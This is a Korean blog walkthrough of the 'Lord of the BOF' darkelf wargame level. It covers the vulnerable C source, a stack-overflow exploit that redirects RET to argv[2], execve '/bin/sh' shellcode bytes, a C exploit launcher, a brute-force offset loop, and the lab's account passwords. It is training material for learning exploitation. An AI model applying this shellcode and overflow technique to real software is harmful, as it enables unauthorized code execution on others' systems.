반응형

login as : wolfman

password : love eyuna


문제 확인

 

/*
        The Lord of the BOF : The Fellowship of the BOF
        - darkelf
        - egghunter + buffer hunter + check length of argv[1]
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
	char buffer[40];
	int i;

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	// egghunter
	for(i=0; environ[i]; i++)
		memset(environ[i], 0, strlen(environ[i]));

	if(argv[1][47] != '\xbf')
	{
		printf("stack is still your friend.\n");
		exit(0);
	}

	// check the length of argument
	if(strlen(argv[1]) > 48){
		printf("argument is too long!\n");
		exit(0);
	}

	strcpy(buffer, argv[1]);
	printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);
}

 

이번 문제도 이전 문제들과 비슷하지만 한 가지 조건이 더 추가됐다.

 

조건1. 커맨드라인 인자가 있어야 한다.

조건2. 환경 변수는 사용할 수 없다.

조건3. 커맨드라인 인자의 48번째 byte의 값이 '\xbf'여야 하므로 0xbfxxxxxx의 형태여야 하고 이는 스택의 주소이므로 RET 부분에 스택 어딘가의 주소를 덮어써야 한다.

조건4. argv[1]의 길이가 48byte를 넘으면 안된다.

조건5. 커맨드라인 인자를 buffer에 복사하지만, 내용을 출력하고 나서는 buffer 안에 있는 40byte만큼의 값을 0으로 초기화 한다. 

 

이번 문제에서는 argv[1]의 길이가 48byte를 넘으면 안된다는 조건이 생겼다.

 

이는 커맨드라인 인자에서 첫 번째 인자의 길이가 48byte를 넘으면 안된다는 것이고, 그렇다면 "NOP + RET + NOP + shellcode"와 같은 형태의 payload를 사용할 수 없다는 것이다.

 

하지만 이전 레벨에서도 나왔던 argv[2]의 주소를 이용하는 payload로 문제를 풀면 된다.

 


dummy 값 확인

 

 

gdb로 darkelf 파일을 열어 디스어셈블 해보면 지역 변수를 위한 스택 공간을 44byte만큼 할당하는 것으로 보아 dummy 값은 없다.

 


공격

 

cp darkelf darkelf2

gdb -q darkelf2

set disassembly-flavor intel

b * main

r `python -c 'print "\x90" * 44 + "\xbf\xbf\xbf\xbf"'` `python -c 'print "\x90" * 10 + "\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"'`

 

darkelf 파일을 darkelf2로 복사한 후 darkelf2 파일을 gdb로 연다.

 

0x0848500 주소에 bp를 걸고 커맨드라인 인자 2개를 넘기며 실행한다.

 

그러면 아직 SFP가 생성되지 않았고, 지역 변수를 위한 스택 공간 역시 할당되지 않은 상태이다.

 

 

이 상태에서 스택을 보면 위와 같다.

 

0xbffffc6c 주소부터 차례대로 RET, argc, argv가 있다.

 

그리고 0xbffffdb1, 0xbffffdc8, 0xbffffdf9 주소는 차례대로 argv[0], argv[1], argv[2]의 주소이다.

 

./darkelf `python -c 'print "\x90" * 44 + "\xf9\xfd\xff\xbf"'` `python -c 'print "\x90" * 20 + "\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"'`

 

darkelf 계정의 password는 kernel crashed이다.

 


주변 스택 주소를 기준점으로 하여 offset 값을 빼 공격(공격 실패)

/*
        The Lord of the BOF : The Fellowship of the BOF
        - darkelf
        - egghunter + buffer hunter + check length of argv[1]
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
	char buffer[40];
	int i;
	printf("buffer[40] of darkelf2 : %p\n", buffer);
	printf("argv[2] of darkelf2 : %p\n", argv[2]);
	printf("&argv of darkelf2 : %p\n", &argv);
        printf("&argv[0] of darkelf2 : %p\n", &argv[0]);
        printf("&argv[1] of darkelf2 : %p\n", &argv[1]);
        printf("&argv[2] of darkelf2 : %p\n", &argv[2]);
        printf("argv[0] of darkelf2 : %p, %s\n", argv[0], argv[0]);
        printf("argv[1] of darkelf2 : %p, %s\n", argv[1], argv[1]);
        printf("argv[2] of darkelf2 : %p, %s\n", argv[2], argv[2]);

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	// egghunter
	for(i=0; environ[i]; i++)
		memset(environ[i], 0, strlen(environ[i]));

	if(argv[1][47] != '\xbf')
	{
		printf("stack is still your friend.\n");
		exit(0);
	}

	// check the length of argument
	if(strlen(argv[1]) > 48){
		printf("argument is too long!\n");
		exit(0);
	}

	strcpy(buffer, argv[1]);
	printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);
}
gcc -o darkelf2 darkelf2.c

 

darkelf2.c 파일을 위와 같이 수정한 후 darkelf2로 컴파일해준다.

 

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char shellcode[] = "\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80";

int main(int argc, char **argv)
{
        unsigned int i, ret, offset=8;
        char *command, *buffer;

        command = (char*)malloc(100);
        memset(command, 0, 100);

        strcpy(command, "./darkelf2 \'");
        buffer = command + strlen(command);

        if(argc > 1)
                offset = atoi(argv[1]);

        printf("i of exploit : %p\n", &i);
        ret = (unsigned int)&i + offset;
        printf("offset : %d\n", offset);
        printf("ret : %p\n", ret);

        for(i = 0; i < 48; i += 4)
                *((unsigned int*)(buffer+i)) = ret;

        strcat(buffer + 48, "\' \'");
        memset(buffer + 48 + strlen("\' \'"),  0x90, 16);
        memcpy(buffer+64+strlen("\' \'"), shellcode, strlen(shellcode));

        strcat(command, "\'");
        printf("command len : %d\n", strlen(command));

        system(command);
        free(command);

        return 0;
}
gcc -o exploit exploit.c

 

 

위의 공격 코드를 컴파일하여 실행하면 위와 같이 공격 payload가 구성된다.

 

낮은 주소
i
buffer[40]
SFP
RET
argc
argv
env
buffer
command
offset
ret
i
SFP
RET
argc
argv
env
높은 주소

 

그리고 스택은 위와 같을 것이다.

 

 

하지만 실행 결과를 보면 위와 같이 공격에 실패한다.

 

위의 사진을 참고하면 exploit.c의 변수 i의 주소가 darkelf2의 argv[2]의 주소보다 작은 주소 쪽에 가깝게 있다.

 

낮은 주소
buffer[40] of darkelf 0xbffffc50 
i of exploit  0xbffffcc4
&argv[2] of darkelf 0xbffffccc
&argv[2] of exploit  
높은 주소

 

즉, 위와 같은 구성이다.

 

for i in `seq 0 100`; do echo Trying $i; ./exploit $i; done

 

위의 스크립트를 돌리면 특정 숫자에서 셸 자체가 먹통이 되어버리고 공격에 여전히 실패한다.

반응형

+ Recent posts